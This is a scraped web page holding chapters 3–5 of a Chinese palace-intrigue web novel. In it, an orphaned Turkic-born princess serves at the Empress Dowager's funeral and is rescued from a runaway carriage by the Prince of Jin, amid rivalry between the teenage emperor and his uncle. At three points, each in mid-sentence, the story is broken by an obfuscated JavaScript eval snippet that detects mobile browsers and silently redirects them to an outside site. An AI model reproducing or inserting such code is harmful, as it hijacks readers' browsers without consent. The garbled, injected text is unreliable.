《白眼狼》 3. 前车 伽罗的母亲辛氏,小字梵儿,原本出身将门,也该是大邺朝的一位高门贵女。 伽罗的外祖辛固安早年因战功不俗,曾官至朔方节度使,为朝廷镇守西北边疆,抵御突厥各部。 睿宗继位初年,朝中正历阉党之乱,辛固安得罪权宦,被其颠倒黑白,百般诬陷,却苦于领兵在外,远离朝廷,无法亲自面圣陈情,走投无路之下,竟勾结他人,欲起事谋反。 没等掀起太大风浪,便被镇压平定。 辛固安见势不对,很快认罪,又在突厥趁虚而入时,率兵奋力抵御,立下功劳,最后携家眷畏罪自戕于将军府。 唯幼女梵儿,年不过两岁,府中下人于心不忍,难以下手,留血书一封,求天子开恩赦免。 睿宗念辛固安补救有功,便留下此女,由当时尚未大气候的萧氏一族带回教养。 真论起来,伽罗的母亲与萧太后兄妹是一同长大的情分,就像她与李璟一样。 可她心中清楚,真假之间,从来不曾模糊。 辛梵儿被萧家教养十余年,十五岁那年,突厥遣使入邺都求亲,梵儿以罪臣之女的身份被封静和公主,嫁给处苾可汗阿史那多力,也就是伽罗的父亲。 在伽罗的记忆里,父亲与母亲实在算不上一对恩爱的夫妻。 父亲年长,虽待母亲尚有几分柔情,可耐不住母亲从来淡淡的,不愿曲意迎合,再加上身边本就已有数不清的妻妾与子女,久而久之,便将这位汉女假公主抛在了脑后。 而伽罗的母亲辛梵儿嫁入突厥草原多年,始终憎恨着这里的一切,一心挂念故土。 可汗病故的那一年,正是大邺与突厥开战之时,梵儿为了回到大邺,暗中探听男人们在军帐中的消息,又狠心抛下才八岁的伽罗,独自策马离开,想凭着军情密报,为自己争得一席之地。 只是,天不遂人愿,梵儿逃出不到两日,便被追兵寻到,当场射杀,尸身被拖回王帐时,早已面目全非,惨不忍睹。 同母亲凄惨的一生相反,留在邺都的萧家兄妹却一路扶摇直上。 因为萧家养女出嫁和亲,为朝廷立下大功,当时才被封为太子的先帝愈发得到睿宗皇帝的喜爱,本只是太子孺人的萧丽贞,在太子妃因病故去后,被册立为太子妃,进而在太子登基后成为皇后,她所生之子李璟,也早早成了储君。 至于萧嵩,因为妹妹的关系,仕途通达,得入中枢。 萧家的事,都是伽罗来到邺都,住进紫微宫后,才慢慢知晓的。 也许,她是个天生冷情冷性的人。 不论是母亲,还是萧太后,都没同她说起过当年究竟发生了什么事,可她知道,母亲绝不是自愿出嫁和亲的。 那样凄惨、血淋淋的下场深深嵌在她的记忆深处,所以,这些年,不管她过得如何锦衣玉食,不管萧太后与李璟待她如何温情和善,她都不敢有一点放松警惕。 当初留下她这个带着异族血统的孤女时,恐怕人人心里都有一杆秤,衡量着个中利益得失。 伽罗感到自己就像躺在那杆秤中的货物,一旦有了好买卖,立刻会被送出——有母亲的前车之鉴在,她几乎能看到自己的将来。 大邺行和亲之策由来已久,立国至今四十余载,先后送去北方边疆各部族的“公主”已有四位,而上一位,还是辛梵儿。 “公主们”出嫁多年,渐至迟暮,一旦传来亡故的消息,若她们所嫁部族仍未如突厥诸部那般彻底归附入汉,就是朝廷另派新“公主”前往的时候。 伽罗一点也不想让自己落入那样的境地。 “贵主,”跟在身畔的鹊枝提了提手中的食盒,“可要往庄敬殿用膳?” 她们已行至大业殿西南角,若往东去,便是庄敬殿,庄敬殿中,也有一间小屋是专供伽罗一人歇息的。 伽罗垂眸看一眼紧紧盖着的食盒,轻轻摇头。 方才在屋里,鱼怀光命人摆膳的时候,她都瞧见了,酱青瓜、腌落苏、蒸肉饼,还有一小碟精致的各色果子,并一碗煎茶汤。 丧仪期间,饮食从简,尚食局不好做太多花样,便只能将分量做得更足一些,也是鱼怀光心细如发,挑来的确是伽罗日常用惯了的。 不过,她这两日本就没什么胃口,且离开清辉殿前,也已同鹊枝一道用了一碗胡麻粥,眼下哪还想再用? “让人将这些送去庄敬殿,由雁回她们分了吧。” 伽罗身边有近身伺候的宫人十余名,除鹊枝是她在入邺都的路上自一同归附的突厥部族中救下的孤女外,其余都是后来由萧太后作主,命尚宫局从各处调拨而来,雁回便是其中的大宫女。 鹊枝即刻招来一名听差的小内侍,交代下去。 伽罗抬眼望向天边日头,估量着离太常寺定下的时辰还余五刻,遂道:“咱们先去隆庆门,迎一迎衡阳殿下。” - 大业殿中,李璟自伽罗离去后,便恢复素日里的肃然。 萧嵩入内时,正见这位年轻的天子身披孝衣,面色平静地端坐榻上用朝食,待他躬身行礼毕,方略一抬手,道:“舅父来了,不必多礼,坐吧。” 李璟的声音听起来平稳极了,既无骤然失去慈母的哀恸伤悲,更无即将独自面对皇权争斗的慌乱恐惧。 若是寻常的少年郎,这般模样,只怕要令那些讲究人伦礼法、孝字当头的腐儒痛斥,可眼前的这位,是执掌江山的天子,肩上担整个大邺,身畔还有年长有为的叔王虎视眈眈,太过软弱只会矮了君王气势。 萧嵩原本还有些担心少主沉不住气,此刻方算彻底放下心。 鱼怀光移了坐席来,又命人奉上煎茶与果子,便知趣地领着众人退下。 屋里只余二人,萧嵩方自袖中捧出昨夜才摘录好的一份名单,逞递至李璟的案前。 “陛下,这是此次殷复交至朝廷的立功名录,臣已将居前的十位身家背景悉数探过一番,堪用者,皆已注于名后,请陛下过目。” 西北道行军大总管殷复乃此次出兵吐谷浑的统帅大将军,那一封为将士们请功的奏疏,便是由他命人送入邺都的。 军中素来是晋王的天下。 晋王乃睿宗幼子,因生母身份低微,又早早亡故,并不受睿宗宠爱。大约是为了在皇室之中争得一席之地,他十二岁便投身军中,马革裹尸,功勋不断,方从诸李氏皇族中脱颖而出,尤其是当初灭突厥一战,让他获得兄长,也就是先帝中宗的青睐。 如今,李玄寂虽久居邺都,多年未领过兵马,可从前在军中积累的根基,实难撼动,上至执掌宫禁的卫仲明,下至这位西北道兵马使殷复,皆是他的心腹、故旧。 年轻的君王要在军中培植势力,树起天威,唯有从身家清白、无甚根基的寻常将领中择选青年才俊。 这样的人,实在难得,天下世家大族无数,那么多将门子弟,封荫入军中,寻常提拔,自然优先择选这些子弟;对平民出身的普通人而言,想要在军中有所建树,唯一的法子,便是沙场搏命,以敌首换军功,从此封侯拜相,封妻荫子。 能被抄录在萧嵩这份名录上的,都是凭真本事杀出重围的将领。 李璟用完一碟蒸饼,又搁箸饮了两口煎茶,翻开那封名录,目光自前排的名字上一一扫过,最后落在其中一个名字上。 “执失——”他的手指在这个姓氏上点了点,“是突厥人?” 萧嵩一听便知他问的是谁:“不错,说来也巧,此人正是当初随安定公主一同归附的突厥部族之一,自入军中以来,功勋赫赫,晋升极快,是个可造之才。” 李璟动作顿了顿,脑海中闪过一张不同于汉家女子的美丽脸庞,不知怎么,手心也跟着热了热,好似方才衣料顺滑的触感犹在其间。 “如此说来,也是晋王降伏的那几支了。”他将名录合起,收入案侧木匣中,不咸不淡说了一句。 萧嵩斟酌道:“眼下朝中忙于太后丧仪,诸将入邺都之事,恐怕要暂延后些,陛下不必立刻决断,臣亦会再派人摸清他们的底细,让陛下放心。” 李璟点头:“舅父考虑得周全,到时,朕会携百官亲自迎接,以示隆重。眼下,的确还是宫中的事更要紧些。” 他所言“宫中的事”,并非萧太后的丧仪,而是神策军指挥使卫仲明。 没有哪个天子能容忍宫廷禁卫不在自己的掌控之中,从前天子年少,未理朝政,事事由晋王决断,难以撼动,如今,天子渐掌大权,当务之急,便是收回神策军的指挥权。 萧嵩自然明白这个道理。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444979|185061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“此事,臣已有所安排,只是,恐怕难以一蹴而就。” 李璟眼中闪过冷色,轻扯了下嘴角,起身说:“那是自然,走吧,瞧瞧姑母去,也该来了。” - 隆庆门位于大内西南角,恰与西隔城相邻,皇室亲眷入宫时,多经由此处。 伽罗自大内乘坐安车,不过一刻工夫便先到了隆庆门内,才由听差的内监侍候下车,便在陆续驶近的马车中,寻到了一辆熟悉的马车。 四马前驱,伞盖华丽,纱帷翩飞,因是奔丧的缘故,从前悬于四隅的华贵饰物都被取下,换作迎风猎猎的佛幡,正是衡阳大长公主的车架。 马车在神策军侍卫们的指引下停于侧边,同一众入宫吊丧的亲贵们的车马聚在一处,令原本能容天子六马御驾畅行的宽阔直道也显得有些拥挤。 随侍的护卫立时将马杌搁至车旁,有侍女要上前搀扶,却被伽罗挥退。 马车中的这位衡阳大长公主李岚衣,乃先帝一母同胞的亲妹妹,也是如今天子的亲姑姑,在先帝一朝时,便备受疼爱,圣眷隆重,加为长公主,到李璟继位,为显尊敬,又加为大长公主。 这是只有真正与天子血缘亲近、感情深厚的公主,才能有的加封,如伽罗这般破例得封的公主,自然没有这样的礼遇。 以辈分论,大长公主已是皇室嫡支中的最高者,因夫君亡故,自先帝驾崩后,她便长居佛寺,潜心礼佛,鲜少涉及朝中事,更半点不沾党争,如此一来,她反倒成了整个李氏皇族中,唯一一个既得圣上尊重,又能在晋王面前说得上话的人。 伽罗不比李璟与李玄寂二人身份贵重,既为太后戴孝,这样一位人人尊崇的长辈,她自然要亲自来迎。 纱帷掀开,露出车中身形微丰的年长妇人。 伽罗上前一步,伸出手搀着大长公主,轻轻唤了一声“殿下”。 “是伽罗啊,”大长公主握住她的手,未使许多力气,慢慢自车中步下,轻叹一声,说,“好孩子,这几日难为你辛苦,别太伤心,你的年纪还小,往后的日子还得接着过。” 这是难得的真心实意前来吊丧的亲眷,语气中淡淡的伤感,与眉眼间常年礼佛留下的慈悲,让伽罗终于有了一丝柔软的情绪。 她早就见过许多死人,在西北草原上,她亲眼看过父亲咽气,也目睹过母亲的惨状,如今萧太后的死,于她而言,已是极其体面,再难激起她心中多少波澜。 可这还是第一次有人对她说,她还有自己的日子要过。 “多谢殿下宽慰。” 大内不许公卿乘坐自家车马,两人说着话,并肩而行,往伽罗方才乘坐的那辆稍小的安车行去。 就在这时,西面聚集的车马中,两匹正由侍卫牵引着往西马坊修整的马儿不知受了什么惊吓,忽然嘶鸣着挣扎起来。 侍卫赶紧试图牢牢拉紧缰绳,可一人之力到底敌不过高大骏马,一个不防,其中一匹马便撒开蹄子,朝着相反的方向疾奔而去。 偌大的动静,引得周遭许多马儿焦躁不已,所引车架也跟着乱起来。 大长公主站在两三架车马之间,眼看不远处那匹奔马正朝自己这边驰来,一时竟愣在原地,不知该如何是好。 “快来人!”伽罗大喝,眼看前来帮忙的几名侍卫都被那三架偏离方向不知要往哪儿去的马车阻了上前的路,“护住大长公主!” 她说着,瞧准机会,寻到两架车之间的空隙,先将大长公主推了出去,随后才跟着也往那处避。 只是到底慢了一步,她身形灵巧,躲过了要撞来的车身,身上的衣裙却未能幸免,丧服裙摆被车轮卷住,裹在丧服之下的襦衣丝带也被车轮间的楞条缠住,不得解脱。 伽罗顿时被阻了躲避的脚步。 她用力扯着自己的衣裳,却实在敌不过沉重的马车,身旁的侍卫欲上前帮忙,可那是公主的衣裙,一时又谁也不敢造次。 就在这时,隆庆门内,一道身影从旁闪至近前,也不知从哪儿拔出一柄配刀,高举起,闪着寒光便向伽罗劈来。 伽罗正觉惊恐,那人又伸了另一条胳膊,绕过她的肩背,将她圈在怀中,同时以手覆过她的双目,遮蔽她的视线。 “别怕。”黑暗中,低沉的嗓音从耳边传来。 4. 刀刃 馥郁的龙涎香自鼻尖钻入,伽罗僵在原地,什么也看不见,却已知晓,此刻站在身旁紧靠着自己的人,就是李玄寂。 她忍不住屏住呼吸,脑海中反复闪过的,全是那冷光森森的刀刃朝自己挥来的情形。 明明知晓李玄寂不可能在大庭广众之下伤害她,可不知为何,那画面就是让她想起昨夜的噩梦。 惊恐间,手掌触到了柔软的布料,掌心贴上去,底下是温热结实的胸膛,强劲的心跳仿佛就在耳畔,她难以克制地牢牢抓住,手指收紧,用力攥住掌中的布料,指尖重重划过一片皮肉。 只听“嘶啦”一声,衣裙上先是一股极大的拉扯力道,接着便骤然一轻。 “好了。”那低沉的嗓音再度响起,挡在眼前的那只手慢慢放下,明媚的日光重新照来。 伽罗只见那几架马车已在侍卫们的合力之下控制住,驱至一旁,而方才困住她的那一架,还有一段素白的布料挂在车轮上。 那是她的衣裳。 方才那把刀,原来是替她割袍。 半边身子慢慢冷下来,低头一瞧,不但孝衣裙摆被斩去大半,露出一大截亵裤的裤腿,上身襦衣的丝带也被带走,衣襟半敞,难以收拢。 着实有些狼狈。 伽罗此刻已平静下来,不禁悄然皱了下眉。 临近丧礼,隆庆门内外,正是亲贵们往来络绎的时刻,许多人已留意到这处的骚动,正驻足看来。 伽罗其实并不在意旁人的眼光与议论,她骨子里流淌着突厥人的血,少时在草原上,早见惯了奔放粗狂的男女,甚至在大邺,女子肌肤稍有袒露也是无伤大雅之事。 只是如今顶着公主的名号,她不想徒惹麻烦,便先环抱住自己的胳膊,拢起散乱的衣襟,朝四下看去,要寻鹊枝的身影。 原本还搂在她后背的那只手挪开,却没放了她,而是落在她的肩上,带着她换了个方向。 衣裳破损的那一边转向李玄寂的胸膛,因被他搂在怀里,总算暂时遮住大半。 属于男子的炽热伴着龙涎香从四面八方包裹而来,令人无法忽视。 伽罗感到自己的身子又抖了抖,一抬眼,先瞧见的是被揉皱的衣领边缘,隐有几道细细的血痕,再往上望去,才悄然对上李玄寂低垂下来的眼眸。 “你怎么样?”血痕上方的喉结微微滚动,紧靠在肩侧的胸膛跟着震动,带得伽罗感到后背一阵发紧。 “王叔,我……”她抿了抿唇,低低地开口想回答,可看着他没有多少情绪的脸庞,又一下噤声。 她有些猜不透,他那双深沉无波的眼眸底下,到底藏着什么心思。 “哎,伽罗!”大长公主好容易定下神,在侍女的搀扶下疾行而来,“快到车上缓一缓!” 方才伽罗乘坐的那辆安车还停在隆庆门内,并未受外头惊马的影响,眼下正由两位内侍牵着往这处来。 鹊枝更机灵,已向一名路过的贵人借了随身的披帛,正匆匆朝伽罗的方向奔来。 就在这时,隆庆门内的直道上,传来一阵车马脚步声,天子专用的御车在内侍们的加紧催动下,在门内停驻。 纱帷掀开,李璟沉着脸快步下车,一把挥开身边挡着的内监,直往伽罗身边去。 “阿姊!” 他接过鹊枝刚递到近前的披帛,抖开罩在伽罗的肩上,又握住她的手,将她往自己身前带。 “王叔,没想到又在这儿遇见了。”李璟这才将目光转向李玄寂。 才隔了不到半个时辰的工夫,叔侄二人便又一次对上。 不过,这一次,众目睽睽之下,李璟的态度有了微妙的转变,他的眼里全是对伽罗的紧张,半点没有先前对李玄寂的戒备与不善。 “方才朕都瞧见了,多谢王叔出手相救,还请王叔将阿姊交给朕。” 二人视线相对,谁也没有表露任何不该表露的情绪,却让周遭众人都跟着紧张起来。 李玄寂看着这个已渐长高,如今已只余下最后一寸距离的侄儿,静默一瞬,慢慢松开搂着伽罗的胳膊。 李璟再不看他,将伽罗带入自己的怀中,二话不说,一矮身,将她横抱起来,径直往御车行去。 纱幔掀起又落下,将众人的视线统统隔绝在外。 李璟将伽罗小心地放在坐榻上,没有立即出去,而是先在她身旁坐下。 “阿姊,你没事吧?” 他伸手拢了拢她罩在身上的那件披帛,指尖顺着襟口滑下去,握住她垂在膝上的一只手。 “我没事,”伽罗紧紧攥住衣襟,任由他握住自己的手,“陛下还是去瞧瞧大长公主吧,她方才受了不小的惊吓。” 李璟没有接话,却忽然捧起她的手,仔细端详。 葱白的指节,细细长长,呈放在他的掌心中,显出几分柔软娇小,他忍不住以指腹轻轻摩挲,至骨节缓移至指尖。 那是常年握笔的手,再精贵,也还是覆了层薄茧,所过之处,引起一阵颤栗。 “怎么流血了?” 李璟慢慢蹙眉,指腹停留在她的指尖。 只见原本粉白莹润的指甲间,嵌了几丝触目的殷红,那是新鲜的血迹,还未完全干涸。 伽罗愣了下,忽而想起李玄寂颈间那几道细细的血痕。 “没有,陛下,这不是我的血。”她蜷起指尖,缩回手,没说是谁的血,可李璟自然猜得到。 他没提李玄寂只沉声说:“如今的禁军实在松懈,令阿姊这般受累。” 车外传来鱼怀光的声音:“陛下,贵主的衣裳已备好,是否请贵主即刻更衣?” “嗯,让鹊枝进来侍候。” 李璟说完,嘱咐伽罗一句,便起身下车,挨鹊枝捧着衣裳入内。 “贵主!”鹊枝一面替伽罗褪下披帛,一面压低了声安慰她,“幸好无事!陛下与晋王到底还是关心贵主的。” 鹊枝同伽罗最交心,多少明白她的忧虑。 伽罗没说话,只握了握鹊枝的手,示意她噤声,自己则留心着外面的动静。 御车之外,众人已齐聚,大长公主上前一步,忧虑地问:“伽罗如何?可有受伤?” “姑母不必担心,阿姊并未受伤,只是受了惊吓,她却还记挂着姑母。” “哎,都怨我,她这样年轻敏捷,若不是顾着我,她早已躲开了。幸好有十一郎在,才让她免于受伤。” 李玄寂从前排行十一,这一声“十一郎”正是唤他。 这个称呼,如今也只有大长公主敢用了。 “是啊,多亏王叔即时出现。”李璟冷冷扯了下嘴角,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444980|185061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着怒意的目光转向方才就已匆匆赶来的人,“卫卿,你可知罪?” 卫仲明上前一步,二话不说,先行下跪:“臣身为神策军兵马使,执掌宫禁宿卫,理当护陛下与各位贵人周全,今日却令二位贵主受惊,实在是臣的疏忽,臣知罪,请陛下责罚!” 此刻要论罪责,他必逃不开,可都知晓这是晋王的心腹,轻易动不得,眼下,不论是天子还是晋王,众人都不想得罪,是以,一时间,谁也没有说话,个个眼观鼻,鼻观心地等着。 只有萧嵩站了出来。 “隆庆门乃宫禁要地,今日太后丧礼,竟然连车马都守不住,来日,岂非连圣驾都护不住?依臣之见,定要重罚,请陛下圣裁。” 这话也只有他来说最合适。 “萧相说的在理,”李璟抿了抿唇,没有立刻发作,却看向一旁的李玄寂,“只是卫卿到底是王叔看重、举荐之人,朕还要先听一听王叔的意思。” 李玄寂的手里还提着那柄从侍卫那儿拔出的配刀,微微一动,银白的光芒便自众人眼前闪过。 他没有立刻回答,而是先平举起刀,眯眼端详着刀刃,又慢慢抬手,小心地捻去残留其上的丝线,这才重新收回鞘中。 “咻”的一声,令周遭众人莫名胆寒。 “臣也是看在卫将军当初在西北领兵时,素以治军严明著称,军中上下,从来令行禁止,必能担起宿卫之职,这才向圣上举荐,没想到今日犯下这样的大错。” 李玄寂说着,轻叹一声,冲李璟拱手:“陛下,臣实在惭愧,不敢妄言,一切都由陛下做主。” 他的话仿佛意有所指。 卫仲明不是只凭封荫就步步高升的花架子,而是在边地真刀实枪拼出战功,才得调入邺都的将领,数年来不曾有过差错,又怎会连车马都安排不好? 李璟冷着脸,咽下已到嘴边的讥讽,温和道:“王叔这是说的哪里话?卫卿这几年来,没有功劳也有苦劳,罢了,看在王叔的面子上——” 他顿了顿,又重新看向卫仲明。 “就罚俸半年,今日玩忽职守者,依军规论处。” “谢陛下开恩,臣领罚。”卫仲明又一叩首。 “好了,既然陛下已有了圣断,此事便过去了,还是快都进去吧,别误了一会儿的礼。”大长公主出言,打破有些怪异的气氛。 众人这才重新往大业殿去,车马缓行,人流如织,一时竟有几分浩浩荡荡的气势。 伽罗换好衣裳,掀帘要自御车中下去,却被李璟拦住。 “阿姊,与朕同行吧。” 伽罗犹豫一瞬,没有推辞,只是再度进入车中前,朝四下看了一眼。 亲贵们已无异色,各自前行,唯有方才还是所有人视线中心的李玄寂仍然站在原地不动。 他的脸上仍旧没什么表情,只是等旁人纷纷向他行礼走过后,一个人在后方,慢慢弯下腰,拾起砖石地上的一缕丝带。 伽罗提着裙摆的手紧了紧,敢忙悄然移开视线,却忽然发现原本跟随在天子身边的萧嵩,也正看着她的方向。 “阿姊,怎么还不进去?”李璟不知何时,又捉了她的手,立在车前仰头望她。 “方才有些走神,大约累了,这便进去。”伽罗敛目,借着转身之故,抽手重入车中。 5.池畔 “朕瞧瞧阿姊的手,” 李璟上来后,坐在伽罗身边,又一次捧起她沾了血迹的那只手,扬声道:“来人,弄些茶水来。” 随侍在外的鱼怀光立即递了托盘入内,一壶煎茶汤,一壶温开水。 李璟接了开水,却不是用来饮的,而是用来打湿一方巾帕。 他低着头,一手摊开,捧着伽罗的指尖,另一手则拿着沾湿的巾帕,替她一点一点擦拭干涸的血迹,一面擦,一面凑近了,时不时轻轻地吹。 微凉的空气掠过指尖,伽罗咬了咬唇,说:“陛下,我的指尖又不曾有伤口,哪需这般小心?” “即便没有伤口,朕也觉得心疼。” 伽罗抿唇,在他的目光中无奈地笑了笑,没再说话。 李璟对她亲厚,本是好事,有圣眷在身,可令她在邺都数不清的天潢贵胄中获得一席之地,可落在有些人眼里,却不见得是好事。 他已经十六岁了,到了可以成家立室的年纪。 如今是升平盛世,邺都许多高门大户的郎君们若玩心重些,到二十方有成婚之意。可李璟不同,他是少年天子,是急欲收拢大权的天子,对他而言,成家立室,正是个向朝臣、向天下宣告可以亲政的好机会。 虽然先前因为种种原因,朝中还暂未将此事抬出,但伽罗心中一直有数,萧太后一早就有了主意,为保住萧家荣华,李璟的皇后必得是萧氏女,这也是萧嵩这些年之所以死心塌地站在李璟这一边,为其绞尽脑汁筹谋夺权的缘故之一。 天家的血脉亲情,在遇上权力时,都变得不那么重要。 萧嵩膝下一双儿女,令延、令仪,说来也与伽罗年纪相当,早几年随萧嵩在地方任职,鲜少入邺都,后来萧嵩升任至中枢,方跟着经常出入宫廷,侍奉太后膝下。 萧嵩有意扶自己的女儿入主紫微宫,自然不愿见李璟与她这个皇家养女太过亲近。 伽罗不愿卷入他们的争斗。 她只是个孤女,身后没有家世的支撑,只有沦为俎上鱼肉的份,况且,如今情况并不明朗,无法断言最终谁才是胜者,不值得她赌上自己的一切。 很快,御车在大业殿前停下,众人在太常寺宫员与内监们的指引下,纷纷列于殿前空地,先向天子行礼。 伽罗又多留意了周遭的皇室近亲。 大长公主列于最前,大礼开始前,特意回首过来,同伽罗点头致意,而她的身边,已多了一位年轻郎君。 绯色官袍,腰配银鱼袋,看来只是个五品官员,照规矩,没资格站在这处,可他生得十分俊秀,看来才不过二十的年纪,身量颀长,带着些文气,有从少年郎逐渐变作成熟郎君时的清瘦,举止之间,更是透着天潢贵胄、龙子凤孙们才有的矜贵,俨然不是寻常五品官员。 大约见大长公主往这边看,那年轻郎君也朝伽罗的方向看了一眼。 二人恰好四目相对,他的眼神冰冷中带着刺目的猜测与怀疑。 伽罗几乎在同他对视的那一瞬间,就迅速移开视线,流露出一丝紧张。 数年未见,尽管面目变得有些陌生,可那样冷淡的,与旁人皆不相同的眼神,伽罗怎么也忘不掉——那是大长公主与已故的尚书令杜燧的独子,如今在户部任职的杜修仁。 这几年,他一直在地方任职,已许久没有在紫微宫出现过,想来,这次也是接到噩耗,才马不停蹄赶回邺都。 大长公主目光在两人之间一转,伸手轻轻拍了下儿子的胳膊,带着警告。 杜修仁皱了皱眉,移开视线,没再理会伽罗,眼见大礼即将开始,冲母亲行个礼,便快步朝自己的位置行去。 很快,礼官再度高声请众人列队,在天子的带领下,向殿内太后灵位行大礼。 天家礼仪繁琐,这一整日,几乎都是跟着礼官的指引,不断行礼,直到最后,赙赗、停柩待葬,整个丧仪才算暂时完毕。 照太常寺查阅典籍、同天子商议的结果,太后灵柩要在宫中停满三月,至七月初方可在护送下,移往郊外皇陵入葬。 这三月里,大邺上下行国丧之礼,近亲需照五服规矩日日着孝服,皇亲国戚、文武百官禁嫁娶宴乐,整个邺都都要沉浸在低沉悲伤的氛围中。 日暮时分,伽罗谢过近亲女眷们的关心与宽慰,又同她们一一拜别,这才带着鹊枝、雁回等一道回清辉殿。 连日的紧绷与疲惫,终于在踏进正殿的那一刻彻底卸下。 雁回领着两名内侍往膳房领晚膳,鹊枝留在殿中伺候,先捧着衣裳过来,替伽罗更衣,又要转身吩咐往浴房备水,依伽罗往日习惯,自外头回来,总要先沐浴一番才觉浑身舒坦。 可伽罗摆摆手,说:“让他们别急,晚些再备水。” 鹊枝愣了下,吩咐下去,待内侍们下去,才来到伽罗身边:“贵主,一会儿可是还要出去?” 伽罗点头,没有直说,用过夕食后,便自己进了内室,从搁在榻边的一只妆奁中取出一罐金创药。 八岁那年,她因母亲辛梵儿背叛部族的缘故,在草原上颇受了几日欺凌,离开时,身上大大小小留了不少伤,一路上抹着金创药,直到入宫都未好透。 当时到底有多痛,她早就不记得了,可从那时起,她便一直记着在自己的屋中存一罐金创药,多年不曾断过。 其实她后来也没再有过用金创药的机会,仅有的几次开罐,都是给身边的宫女、内侍用,他们日常要干活,伺候公主虽然不是什么重活,但他们被分来时,也都是十来岁的孩子,出入间,偶尔也会因粗心伤筋动骨。 “贵主!”鹊枝吓了一跳,“哪儿受伤了?” 伽罗摇头,也没解释,只吩咐鹊枝去库房取个小瓷瓶来,亲自从罐子里挖了药膏装进瓷瓶中。 “走吧,咱们去九洲池畔。” 她说着,带上鹊枝,出了清辉殿,往南行去。 雁回她们不知伽罗的打算,只以为公主经了太后丧仪,心中郁气难消,想到九洲池边散散心,可鹊枝却猜到了她的打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451667|185061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “贵主要去见……晋王?” 如今天子年少,尚无子嗣,其余与李璟同辈的皇子、公主也都已成年,陆续搬出宫去,偌大的西隔城,只伽罗一人长居清辉殿,可今日,还多了一位晋王。 方才大礼毕后,李璟当场召了三省几位元老重臣,一同往西上阁议政。 这几日,他为太后守丧,须遵孝道,辍朝多日,朝臣们也都忙着入宫祭奠,堆积了许多事务,亟待处理。 李玄寂已经许久未在宫中留宿过,但想来今夜当是要宿在仁智院了。 伽罗轻轻点头,带着鹊枝绕到九洲池北面的一处水榭,心中早想好西隔城的地形——仁智院位于九洲池西畔,李玄寂自阊阖门入西隔城后,必要经过此处。 - 西上阁的议事持续至近亥时。 天子坐居中高座,晋王则另置坐榻,与天子同向,只略前数寸,二人一同面对着分两边而坐的诸臣。 明早朝会即将恢复,今夜诸臣要议的,便是明早朝会上要交六部众臣共商的事务,说是请三省重臣议事,实则李璟早已与萧嵩等人事先有了主张。 倒是左相,也就是门下侍中崔伯琨为人中直,在党争中并未偏向任何一方,素来就事论事,这才能稳住两方平衡,未令权力争斗直接到不分是非曲直,只论你死我活的地步。 也许是清早在隆庆门已罚过李玄寂心腹的缘故,李璟今夜的态度格外谦虚,事事都先问过李玄寂的意思,这才敢说出自己的意思。 至于李玄寂,却与以往无甚不同,仍是沉默寡言,只偶尔点几位坐在下面的臣子说话,算是表明自己的态度。 太后驾崩,既没让他变得比从前多些张狂和有恃无恐,更没让他多一丝愧疚与退让。 只是,待朝中事议毕,众人要散前,李玄寂淡淡问了句:“三个月后,太后灵柩入皇陵,圣上可要亲自前往?” 李璟道:“太后乃朕嫡亲生母,朕自当亲自扶棺入皇陵。” 皇陵位于邺都城郊,早先,先帝驾崩时,他因年幼,刚刚坐上皇位,恐朝局不稳,并未亲自扶棺送葬,只是一路送至邺都南面的长夏门,其余则由李玄寂代为护送。 如今局势不同,他也已十六岁,自然要亲自送葬。 李玄寂搁下手中的茶盏,慢慢道:“圣驾要出邺都,必得护卫周全,看来,臣还需好好敲打卫将军,到时,可不能再有今日这样的疏漏。” 李璟面色一顿,飞快地瞥他一眼。 “还是王叔思虑缜密,朕还有许多事,都要仰赖王叔决断,只有请王叔再多受累些。”接着,又转向鱼怀光,“一会儿将朕这几日才阅过的奏疏先送到仁智院,请王叔代朕批阅。” 这是要暂退一步,向李玄寂示好。 李玄寂扯了下唇角,并不意外,也未拒绝,只说:“为陛下分忧,本是臣的本分。时辰不早,请陛下早些歇息,莫因劳累损伤圣体。” 说罢,略行了礼,不等李璟应声,便起身离开。